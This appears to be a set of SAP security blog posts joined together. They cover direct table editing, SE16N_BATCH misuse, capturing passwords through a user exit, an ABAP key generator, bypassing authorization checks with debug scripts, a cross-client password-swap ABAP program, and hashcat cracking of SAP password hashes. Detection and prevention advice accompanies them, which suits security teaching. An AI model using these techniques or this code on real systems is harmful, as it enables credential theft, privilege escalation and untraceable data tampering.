SE16N_BATCH is a very powerful and dangerous program. You can use it to run SE16 queries for large datasets in batch mode and later pick up the results from the spool.
But it can also be misused to fetch data that you are not authorized to see, but a batch user can see.
Good use
For example you need a lot of records from BSEG:
This might fail online. If you run it in batch mode, you can simply pick up the spool later with the needed data:
Misuse
The program can be used for hacking purposes as well. Suppose you want to get all user password hashes. SE16N for USR02 is blocked. Now run the program in batch (not with your own user, but with a batch job user with rights to read USR02 data). Now all data is available in the spool for the hacker….
For emergency cases you might need to edit table data directly. This blog will describe the emergency edit mode of SE16N.
Questions that will be answered are:
How to get the SE16N emergency edit mode?
How to enable the SE16N emergency edit mode?
How to use the SE16N emergency edit mode?
Getting the SE16N emergency edit mode
The SE16N emergency edit mode is standard installed as of S4HANA 2020. For older versions, you need to apply OSS note 2911103 – SE16N: Alternative edit mode.
Enabling SE16N emergency mode
The SE16N emergency mode is started via transaction SE16N_EMERGENCY. This transaction is locked by default:
Please consult your security team before unlocking this powerful transaction.
Use transaction SM01_CUS to unlock the SE16N_EMERGENCY transaction. Read this blog on the use of SM01_CUS.
Use of the SE16N emergency mode
Use of the emergency mode is pretty simple. Start transaction SE16N_EMERGENCY enter the table and you are launched into edit mode immediately. Example is here for table T001:
Other ways
For more different ways of direct table hacking, read this blog.
In the user exit code, you can put in your own stuff.
As hacking example: copy function module PASSWORDCHECK and the screen that belongs to it to your own ZPASSWORDCHECK.
Modify the screen logic a bit. This is the original code:
Now change the code: the password is always reported back as ok. And the user input you catch in the field password is yours: you can mail it or store it somewhere for you to pick up later.
Put the altered code in the user-exit with logic:
IF SY-UNAME = 'target user name' and not capture before.
CALL Z function ZPASSWORDCHECK.
Store capturing.
Set capture flag.
ENDIF.
This looks as follows at runtime:
Many end users (and even auditors) will enter their password without thinking twice.
Alternatively you can use function module POPUP_GET_USER_PASSWORD as a basis for your copy: this has also clear text password:
The password field can be stored.
This has the following look and feel:
Detection and protection
It is wise to shield off this user exit from improper use and to yearly check the content of what is inside this user exit.
Changing directly data on an SAP table is the IT admin and IT auditors worst nightmare. This blog will show you the ways it can be done.
Questions that will be answered in this blog are:
How can I directly edit tables?
How can I prevent direct table editing?
How can I detect direct table editing?
Overview of methods
Function module SE16N_INTERFACE
Debug & replace
SE16N_EMERGENCY mode
Re-enable &sap_edit for SE16N
Direct table editing method 1: function module SE16N_INTERFACE
This method is available in the SAP S4HANA system. Start with transaction SE37 and key in function module SE16N_INTERFACE. Now press the test button. In this demo we will change dates for sales order table VBAK. In the SE37 test screen enter table VBAK and very important put X in the I_EDIT and I_SAPEDIT fields.
Now hit execute and voila: you are in direct edit mode:
Now we change a few values (date to the year 2027…) and press save:
Data is changed.
Detection of this method: audit logging. In audit logging you can see the user started SE37 and then used report RS_TEST_FRAME_CALL, but you cannot see which module was done, neither is the data change logged.
Prevention of this method:
Debug/replace is needed to change the data: don’t hand out debug/replace.
Deny access to this function module.
Direct table editing method 2: debug/replace
Start transaction SE16 and show the data of the table to edit. Example in this case VBAK data:
Now select a line and put /h for debugging in the command line input. Press enter and the debug screen will open. Double click on the SY-UCOMM field:
In the variables screen now change the value ENTR (for the enter command you gave) to value AEN2 (command to change). Make sure the value is accepted. Now hit F8 to continue. And voila: edit mode:
Change the values (dates in this example) and press save:
How to detect this method: in the SAP audit log (activation of audit log is explained in this blog) show the change in debug/replace mode:
Prevention of this method: don’t hand out debug/replace rights.
Direct table editing method 3: SE16N emergency mode
In newer SAP netweaver releases there is a new SE16N emergency mode which can be started with transaction SE16N_EMERGENCY. Read all the details in this special blog on this topic.
Direct table editing method 4: re-enable &sap_edit again in SE16N and use it
Apply OSS note 1468636 – CO-OM tools: SE16N: Use of &SAP_EDIT. This seems old, but it is still valid for all S4HANA releases as well. After the note is installed run program RKSE16N_EDIT and activate the function:
Now start SE16N and select your inputs. Before hitting the execute button, enter the command &sap_edit:
Only now press execute. The result is fully editable table.
A lot of basis and ABAP people feel protected by the ABAP keys and object keys for standard SAP changes. They have to be called off at SAP marketplace keys section.
Let me already give away the clue: since quite some time there is a KeyGen for ABAP and object keys. The protection is gone.
This blog will answer following questions:
Where can I download the ABAP keygen?
How to run the ABAP keygen?
How should I protect my system from unwanted ABAP changes?
S4HANA does not use developer keys and object keys any more, how should I protect my S4HANA system from unwanted ABAP changes?
Where can I download the ABAP keygen?
Google for SAP IWR Object key generator. Or click here for a copy:
Running the executable is simple. But you need to run it in Windows 7 compatibility mode.
Fill out the data and hit generate…. that’s all.
The use of this tool is at your own risk. Most admins don't like you to use this tool at all.
The whole idea of this blog is to show not to rely on the developer key procedure.
How should I protect developments?
The best way to protect your development is to carefully grant the S_DEVELOP privilege. Only give it to the right people and only give it to develop Z* range of code.
Deletion of old developer keys is still relevant. Read the dedicated blog on deletion of developer keys.
S4HANA developer key
The title is a bit misleading. In S4HANA there are no developer keys and object keys any more.
If the code is ok, set the break-point at ABAP command AUTHORITY-CHECK:
Now click on the Start Script button.
End result: you can execute the program without any issues.
Explanation of the method
What has happened here? The debug scripting is nothing more then fast automation. The developer could have manually bypassed all the multiple authorization checks in this program. Now he lets the script take care: the coding of the script simple changes the SY-SUBRC value after any break-point (which is reached at statement AUTHORITY-CHECK) to 0, which is green light: pass.
Prevention
If you don’t want this to happen in your system there are 2 main measures to take:
Remove debug & replace authorization from all non-ABAP developers in a development system and remove debug & replace from all non-development systems for all users
Make sure you tell the ABAP developers that you are aware of this script. You cannot prevent them from running it, but you can tell them that if you find out it can have severe consequences.
Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.
Questions that will be answered in this blog are:
How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?
Cross client hack explained
You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.
So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:
REPORT ZSWAPUSER.
data: zls_usr02_1 type usr02.
data: zls_usr02_2 type usr02.
data: zls_usr02_t type usr02.
parameters p_uname1 type usr02-bname.
parameters p_mandt1 type sy-mandt.
parameters p_mandt2 type sy-mandt.
select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1.
select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2.
zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t.
write sy-subrc.
zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1.
modify usr02 client specified from zls_usr02_t.
write sy-subrc.
In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..
After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.
Detecting this attack
Detecting this attack directly is very difficult. There are traces:
Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client
Preventive measures
The following preventive measures can be taken:
Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.
In this fourth blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures.
For the first blog on attacking the SAP BCODE hash click here.
For the second blog on attacking the SAP PASSCODE has click here.
For the third blog on attacking the SAP PWDSALTEDHASH has click here.
Questions that will be answered in this blog are:
How does the rule based attack work?
How to use the rules on found passwords?
Where to find good rule books?
The rule based attack
The dictionary rule book attack is using the dictionary as input and then applies rules to the dictionary to generate a new password candidate.
Example words we will use are Password and Welcome.
Examples of apply some rules:
Replace a with @ will give P@ssword
Replace o with 0 will give Passw0rd and Welc0me
Replace s with $ will give Pa$$word
Replace l with ! will give We!come
All rules above combined will give P@$$w0rd and We!c0me
For full list of possible rule syntax see Hashcat site on rule-based attack.
Suppose we have guessed one correct password for one user. He made the password Welcome1!.
Now we will construct some rules:
Replace e with 3, rule will be se3
Replace l with 1 and l with !, rules will be sl1 and sl!
What has happened here? Why is this found now, and not before with the se3 rule, which should substitute the e with 3? Pretty simple: replace e with 3 in word Welcome1! will give W3lcom31!. So it replaces all and not first one. This is there background of having many rules.
Huge rulesets
With the Hashcat download you get a special directory called rules. Here there are some big rulesets available.
The nicest one is the RockYou list of rules. This is constructed based on the RockYou password list hacked in 2009 where 32 million passwords leaked. Based on English dictionary somebody has constructed the rules to come to most of these passwords.
Effectiveness of the attack
The effectiveness of the rule based attack is quite high. If you have found 1 password, you just run the complete ruleset of one of the huge lists to find multiple variations. People are not so inventive and creative. You will be surprised on the amount of password variations you find on the following words:
Welcome
Summer
Winter
Password
Apple
Android
Google
Hackers don’t start with the full dictionary. They start with the top 1000 words and apply many rules to them. From the passwords found they will start to derive patterns of the users. Any new password is processed through many new rules to generate candidates with higher potential.
The name and or abbreviation of a company is word number 1 to add to the favorite word list.
Further optimization of the attack speed
For optimizing the attack speed, read the fifth blog on SAP password hash hacking here.
Prevention measure 1: frequent change and large change per time
Many companies have implemented a more faster cycle of password changes. In the past once per year was common. Nowadays 60 to 90 days is more common practice. Set this in profile parameter: login/password_expiration_time.
More important is to make a larger change per time the password changes. This is to avoid the rule-attacks explained above to become very effective. How many people just simply change and increase single digit in password? Or increase the special with the next one on the keyboard. Set the profile parameter login/min_password_diff to sufficiently high value of 3 or more.
Prevention measure 2: length
Explain to your users that length is more important than complexity by using this famous explanation:
Prevention measure 3: stronger hashes
Stronger hashes simply take more time to crack. To set stronger hashes, read this dedicated blog.
Next blog on password hacking
The fifth blog on password hacking is about optimizing the attack speed. Read on in the blog. And the blog on extended word lists.
This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.
In this third blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures. Now we focus on the SAP PWDSALTEDHASH hash.
For the first blog on attacking the SAP BCODE hash click here.
For the second blog on attacking the SAP PASSCODE has click here.
For follow up blog on improving attack speed by applying rule-based attack, click here. And the blog on optimizing the attack. And the blog on extended word lists.
Questions that will be answered in this blog are:
How to get the PWDSALTEDHASH codes?
How does the dictionary attack work?
How does the dictionary combination attack work?
How does the dictionary with mask attack work?
What more can I do to prevent a password attack?
Getting the PWDSALTEDHASH codes
The testusers 1 to 5 have been given a new password and the security admin has done its job. This is what you see in USR02:
Double clicking on a line and scrolling down will give you the PWDSALTEDHASH field content:
Getting many is too much work. For this you can use code of the program ZFETCH_PWDSALTEDHASH below:
*&--------------------------------------------------------------------**& Report ZFETCH_PWDSALTEDHASH*&--------------------------------------------------------------------*REPORT ZFETCH_PWDSALTEDHASH.DATA: LV_USR02 TYPE USR02.DATA: LV_STRING TYPE STRING.SELECT * FROM USR02 INTO LV_USR02 WHERE PWDSALTEDHASH NE SPACE.CONCATENATE LV_USR02-BNAME '
The output for our testusers is now:
You need to save the part from {x-issha etc in a new file. The user ID in front is not needed. It is just needed in case you decrypt a password from a hash to go find the user ID.
The dictionary attack
We still assume that there is a very strict policy on strong password:
Minimum length 10
Minimum 1 upper, lower, digit and special
Since the admin has cleaned up the BCODE we have no idea on the first 8 characters now.
The trick we will use is the dictionary attack. We assume some of the users will use a password with the following rule:
Take a word
Capitalize first letter, rest is small
Add a digit
Add a special character
As input file for this attack we take all word from the Webster Dictionary: webster dictionary file.
We now go back to our Hashcat directory on C:\HC and give following command:
Command explanation: attack mode 6 for dictionary attack and 10300 for SAP PWDALSTEDHASH format.
And now hashcat is showing is parallelization power:
To test all the combinations on the 5 users only 30 minutes are needed, with almost 200.000 tries per second.
2 passwords were found: TESTUSER1 with password Theobald1! and TESTUSER5 with password Tetrazotization5{.
Especially the last one is striking: this is normally not considered a simple password: Tetrazotization5{. But because it appears in a dictionary it is relative simple to retrieve.
Combination attack with dictionary
To really show the speed, we will now perform the combination attack explained in the previous blog again. We will use the dictionary in combination with the popular extension file. Command to give:
It runs for 4 hours with about 200.000 guesses per second:
And it finally finds the last password: TESTUSER4 with Organoid1@#
Dictionaries
The example above is just one dictionary. Also think about dictionaries with names of persons, football clubs, cities and countries, etc. Largest dictionary so far is called the Wikipedia dictionary. It is about 250 MB large and contains all the unique words used on Wikipedia.
Preventive measures
Preventive measure 1: user education
Educate your users not to take a dictionary word directly and only add a digit letter.
Especially power users, like basis and user administrators, should really receive this education. Don’t assume they know. 90% of them does not, or even hands out passwords like Welcome2018!
Preventive measure 2: extra strong passwords for background and power users
You can set extra strong password requirements for background users and power users (basis and user administrators). This can be done by setting up specific security policies. This is explained in this blog.
Preventive measure 3: stronger hashes
By creating stronger hashes, the attackers need more time. It will not stop them, but slow them down. Read more on setting stronger hashes in this dedicated blog.
Next blog
The next blog will focus on rule based attack mode, which is one of the most effective methods.